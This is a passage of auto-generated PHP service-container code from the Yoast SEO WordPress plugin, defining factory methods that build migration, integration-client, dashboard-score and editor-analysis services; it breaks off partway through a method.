        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\ExpandPrimaryTermIDColumnLengths'] = new \Yoast\WP\SEO\Config\Migrations\ExpandPrimaryTermIDColumnLengths(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\ReplacePermalinkHashIndex' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\ReplacePermalinkHashIndex
     */
    protected function getReplacePermalinkHashIndexService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\ReplacePermalinkHashIndex'] = new \Yoast\WP\SEO\Config\Migrations\ReplacePermalinkHashIndex(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\ResetIndexableHierarchyTable' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\ResetIndexableHierarchyTable
     */
    protected function getResetIndexableHierarchyTableService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\ResetIndexableHierarchyTable'] = new \Yoast\WP\SEO\Config\Migrations\ResetIndexableHierarchyTable(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\TruncateIndexableTables' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\TruncateIndexableTables
     */
    protected function getTruncateIndexableTablesService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\TruncateIndexableTables'] = new \Yoast\WP\SEO\Config\Migrations\TruncateIndexableTables(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\WpYoastDropIndexableMetaTableIfExists' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\WpYoastDropIndexableMetaTableIfExists
     */
    protected function getWpYoastDropIndexableMetaTableIfExistsService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastDropIndexableMetaTableIfExists'] = new \Yoast\WP\SEO\Config\Migrations\WpYoastDropIndexableMetaTableIfExists(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\WpYoastIndexable' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\WpYoastIndexable
     */
    protected function getWpYoastIndexableService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastIndexable'] = new \Yoast\WP\SEO\Config\Migrations\WpYoastIndexable(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\WpYoastIndexableHierarchy' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\WpYoastIndexableHierarchy
     */
    protected function getWpYoastIndexableHierarchyService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastIndexableHierarchy'] = new \Yoast\WP\SEO\Config\Migrations\WpYoastIndexableHierarchy(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\WpYoastPrimaryTerm' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\WpYoastPrimaryTerm
     */
    protected function getWpYoastPrimaryTermService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastPrimaryTerm'] = new \Yoast\WP\SEO\Config\Migrations\WpYoastPrimaryTerm(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Researcher_Languages' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Researcher_Languages
     */
    protected function getResearcherLanguagesService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Researcher_Languages'] = new \Yoast\WP\SEO\Config\Researcher_Languages();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\SEMrush_Client' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\SEMrush_Client
     */
    protected function getSEMrushClientService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\SEMrush_Client'] = new \Yoast\WP\SEO\Config\SEMrush_Client(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Remote_Handler']) ? $this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Remote_Handler'] : ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Remote_Handler'] = new \Yoast\WP\SEO\Wrappers\WP_Remote_Handler())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Schema_IDs' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Schema_IDs
     */
    protected function getSchemaIDsService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Schema_IDs'] = new \Yoast\WP\SEO\Config\Schema_IDs();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Schema_Types' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Schema_Types
     */
    protected function getSchemaTypesService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Schema_Types'] = new \Yoast\WP\SEO\Config\Schema_Types();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Wincher_Client' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Wincher_Client
     */
    protected function getWincherClientService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Wincher_Client'] = new \Yoast\WP\SEO\Config\Wincher_Client(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Remote_Handler']) ? $this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Remote_Handler'] : ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Remote_Handler'] = new \Yoast\WP\SEO\Wrappers\WP_Remote_Handler())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Wordproof_App_Config' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Wordproof_App_Config
     *
     * @deprecated Yoast\WP\SEO\Config\Wordproof_App_Config is deprecated since version 22.10!
     */
    protected function getWordproofAppConfigService()
    {
        @trigger_error('Yoast\\WP\\SEO\\Config\\Wordproof_App_Config is deprecated since version 22.10!', E_USER_DEPRECATED);

        return $this->services['Yoast\\WP\\SEO\\Config\\Wordproof_App_Config'] = new \Yoast\WP\SEO\Config\Wordproof_App_Config();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Wordproof_Translations' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Wordproof_Translations
     *
     * @deprecated Yoast\WP\SEO\Config\Wordproof_Translations is deprecated since version 22.10!
     */
    protected function getWordproofTranslationsService()
    {
        @trigger_error('Yoast\\WP\\SEO\\Config\\Wordproof_Translations is deprecated since version 22.10!', E_USER_DEPRECATED);

        return $this->services['Yoast\\WP\\SEO\\Config\\Wordproof_Translations'] = new \Yoast\WP\SEO\Config\Wordproof_Translations();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Content_Type_Visibility\Application\Content_Type_Visibility_Watcher_Actions' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Content_Type_Visibility\Application\Content_Type_Visibility_Watcher_Actions
     */
    protected function getContentTypeVisibilityWatcherActionsService()
    {
        return $this->services['Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Watcher_Actions'] = new \Yoast\WP\SEO\Content_Type_Visibility\Application\Content_Type_Visibility_Watcher_Actions(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast_Notification_Center']) ? $this->services['Yoast_Notification_Center'] : $this->getYoastNotificationCenterService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Dismiss_Notifications']) ? $this->services['Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Dismiss_Notifications'] : $this->getContentTypeVisibilityDismissNotificationsService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Content_Type_Visibility\User_Interface\Content_Type_Visibility_Dismiss_New_Route' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Content_Type_Visibility\User_Interface\Content_Type_Visibility_Dismiss_New_Route
     */
    protected function getContentTypeVisibilityDismissNewRouteService()
    {
        return $this->services['Yoast\\WP\\SEO\\Content_Type_Visibility\\User_Interface\\Content_Type_Visibility_Dismiss_New_Route'] = new \Yoast\WP\SEO\Content_Type_Visibility\User_Interface\Content_Type_Visibility_Dismiss_New_Route(${($_ = isset($this->services['Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Dismiss_Notifications']) ? $this->services['Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Dismiss_Notifications'] : $this->getContentTypeVisibilityDismissNotificationsService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Context\Meta_Tags_Context' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Context\Meta_Tags_Context
     */
    protected function getMetaTagsContextService()
    {
        return $this->services['Yoast\\WP\\SEO\\Context\\Meta_Tags_Context'] = new \Yoast\WP\SEO\Context\Meta_Tags_Context(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\ID_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\ID_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\ID_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\ID_Helper())) && false ?: '_'}, ${($_ = isset($this->services['WPSEO_Replace_Vars']) ? $this->services['WPSEO_Replace_Vars'] : $this->getWPSEOReplaceVarsService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Site_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Site_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Site_Helper'] = new \Yoast\WP\SEO\Helpers\Site_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Dashboard\User_Interface\Scores\Readability_Scores_Route' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Dashboard\User_Interface\Scores\Readability_Scores_Route
     */
    protected function getReadabilityScoresRouteService()
    {
        $a = new \Yoast\WP\SEO\Dashboard\Application\Score_Results\Readability_Score_Results\Readability_Score_Results_Repository(new \Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\Readability_Score_Results\Cached_Readability_Score_Results_Collector(new \Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\Readability_Score_Results\Readability_Score_Results_Collector()), new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups\Bad_Readability_Score_Group(), new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups\Good_Readability_Score_Group(), new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups\No_Readability_Score_Group(), new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups\Ok_Readability_Score_Group());
        $a->set_repositories(${($_ = isset($this->services['Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Current_Scores_Repository']) ? $this->services['Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Current_Scores_Repository'] : $this->getCurrentScoresRepositoryService()) && false ?: '_'});

        $this->services['Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\Readability_Scores_Route'] = $instance = new \Yoast\WP\SEO\Dashboard\User_Interface\Scores\Readability_Scores_Route($a);

        $instance->set_collectors(${($_ = isset($this->services['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Content_Types\\Content_Types_Collector']) ? $this->services['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Content_Types\\Content_Types_Collector'] : $this->getContentTypesCollectorService()) && false ?: '_'});
        $instance->set_repositories(${($_ = isset($this->services['Yoast\\WP\\SEO\\Dashboard\\Application\\Taxonomies\\Taxonomies_Repository']) ? $this->services['Yoast\\WP\\SEO\\Dashboard\\Application\\Taxonomies\\Taxonomies_Repository'] : $this->getTaxonomiesRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Dashboard\User_Interface\Scores\SEO_Scores_Route' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Dashboard\User_Interface\Scores\SEO_Scores_Route
     */
    protected function getSEOScoresRouteService()
    {
        $a = new \Yoast\WP\SEO\Dashboard\Application\Score_Results\SEO_Score_Results\SEO_Score_Results_Repository(new \Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\SEO_Score_Results\Cached_SEO_Score_Results_Collector(new \Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\SEO_Score_Results\SEO_Score_Results_Collector()), new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\Bad_SEO_Score_Group(), new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\Good_SEO_Score_Group(), new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\No_SEO_Score_Group(), new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\Ok_SEO_Score_Group());
        $a->set_repositories(${($_ = isset($this->services['Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Current_Scores_Repository']) ? $this->services['Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Current_Scores_Repository'] : $this->getCurrentScoresRepositoryService()) && false ?: '_'});

        $this->services['Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\SEO_Scores_Route'] = $instance = new \Yoast\WP\SEO\Dashboard\User_Interface\Scores\SEO_Scores_Route($a);

        $instance->set_collectors(${($_ = isset($this->services['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Content_Types\\Content_Types_Collector']) ? $this->services['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Content_Types\\Content_Types_Collector'] : $this->getContentTypesCollectorService()) && false ?: '_'});
        $instance->set_repositories(${($_ = isset($this->services['Yoast\\WP\\SEO\\Dashboard\\Application\\Taxonomies\\Taxonomies_Repository']) ? $this->services['Yoast\\WP\\SEO\\Dashboard\\Application\\Taxonomies\\Taxonomies_Repository'] : $this->getTaxonomiesRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Editors\Application\Analysis_Features\Enabled_Analysis_Features_Repository' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Editors\Application\Analysis_Features\Enabled_Analysis_Features_Repository
     */
    protected function getEnabledAnalysisFeaturesRepositoryService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'};
        $b = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Language_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Language_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Language_Helper'] = new \Yoast\WP\SEO\Helpers\Language_Helper())) && false ?: '_'};

        return $this->services['Yoast\\WP\\SEO\\Editors\\Application\\Analysis_Features\\Enabled_Analysis_Features_Repository'] = new \Yoast\WP\SEO\Editors\Application\Analysis_Features\Enabled_Analysis_Features_Repository(new \Yoast\WP\SEO\Editors\Framework\Cornerstone_Content($a), new \Yoast\WP\SEO\Editors\Framework\Inclusive_Language_Analysis($a, $b, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())) && false ?: '_'}), new \Yoast\WP\SEO\Editors\Framework\Keyphrase_Analysis($a), new \Yoast\WP\SEO\Editors\Framework\Previously_Used_Keyphrase(), new \Yoast\WP\SEO\Editors\Framework\Readability_Analysis($a), new \Yoast\WP\SEO\Editors\Framework\Word_Form_Recognition($b));
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Editors\Application\Integrations\Integration_Information_Repository' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Editors\Application\Integrations\Integration_Information_Repository
     */
    protected function getIntegrationInformationRepositoryService()
    {
        $a = ${($_ = isset($this->services['WPSEO_Addon_Manager']) ? $this->services['WPSEO_Addon_Manager'] : $this->getWPSEOAddonManagerService()) && false ?: '_'};
        $b = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'};

        return $this->services['Yoast\\WP\\SEO\\Editors\\Application\\Integrations\\Integration_Information_Repository'] = new \Yoast\WP\SEO\Editors\Application\Integrations\Integration_Information_Repository(new \Yoast\WP\SEO\Editors\Framework\Integrations\Jetpack_Markdown(), new \Yoast\WP\SEO\Editors\Framework\Integrations\Multilingual(${($_ = isset($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_Conditional']) ? $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_Conditional'] : ($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\WPML_Conditional())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Polylang_Conditional']) ? $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Polylang_Conditional'] : ($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Polylang_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\Polylang_Conditional())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\TranslatePress_Conditional']) ? $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\TranslatePress_Conditional'] : ($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\TranslatePress_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\TranslatePress_Conditional())) && false ?: '_'}), new \Yoast\WP\SEO\Editors\Framework\Integrations\News_SEO($a), new \Yoast\WP\SEO\Editors\Framework\Integrations\Semrush($b), new \Yoast\WP\SEO\Editors\Framework\Integrations\Wincher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Wincher_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Wincher_Helper'] : $this->getWincherHelperService()) && false ?: '_'}, $b), new \Yoast\WP\SEO\Editors\Framework\Integrations\WooCommerce_SEO($a), new \Yoast\WP\SEO\Editors\Framework\Integrations\WooCommerce(${($_ = isset($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional']) ? $this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] : ($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] = new \Yoast\WP\SEO\Conditionals\WooCommerce_Conditional())) && false ?: '_'}));
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Editors\Application\Seo\Post_Seo_Information_Repository' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Editors\Application\Seo\Post_Seo_Information_Repository
     */
    protected function getPostSeoInformationRepositoryService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'};

        return $this->services['Yoast\\WP\\SEO\\Editors\\Application\\Seo\\Post_Seo_Information_Repository'] = new \Yoast\WP\SEO\Editors\Application\Seo\Post_Seo_Information_Repository(new \Yoast\WP\SEO\Editors\Framework\Seo\Posts\Description_Data_Provider(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] = new \Yoast\WP\SEO\Helpers\Date_Helper())) && false ?: '_'}, $a), new \Yoast\WP\SEO\Editors\Framework\Seo\Posts\Keyphrase_Data_Provider(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] = new \Yoast\WP\SEO\Helpers\Meta_Helper())) && false ?: '_'}), new \Yoast\WP\SEO\Editors\Framework\Seo\Posts\Social_Data_Provider($a, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}), new \Yoast\WP\SEO\Editors\Framework\Seo\Posts\Title_Data_Provider($a));
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Editors\Application\Seo\Term_Seo_Information_Repository' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Editors\Application\Seo\Term_Seo_Information_Repository
     */
    protected function getTermSeoInformationRepositoryService()
    {
        return $this->services['Yoast\\WP\\SEO\\Editors\\Application\\Seo\\Term_Seo_Information_Repository'] = new \Yoast\WP\SEO\Editors\Application\Seo\Term_Seo_Information_Repository(new \Yoast\WP\SEO\Editors\Framework\Seo\Terms\Description_Data_Provider(), new \Yoast\WP\SEO\Editors\Framework\Seo\Terms\Keyphrase_Data_Provider(), new \Yoast\WP\SEO\Editors\Framework\Seo\Terms\Social_Data_Provider(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}), new \Yoast\WP\SEO\Editors\Framework\Seo\Terms\Title_Data_Provider());
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Editors\Application\Site\Website_Information_Repository' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Editors\Application\Site\Website_Information_Repository
     */
    protected function getWebsiteInformationRepositoryService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] : $this->getShortLinkHelperService()) && false ?: '_'};
        $b = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Wistia_Embed_Permission_Repository']) ? $this->services['Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Wistia_Embed_Permission_Repository'] : $this->getWistiaEmbedPermissionRepositoryService()) && false ?: '_'};
        $c = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Surfaces\\Meta_Surface']) ? $this->services['Yoast\\WP\\SEO\\Surfaces\\Meta_Surface'] : $this->getMetaSurfaceService()) && false ?: '_'};
        $d = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())) && false ?: '_'};
        $e = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'};
        $f = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager']) ? $this->services['Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager'] : $this->getPromotionManagerService()) && false ?: '_'};

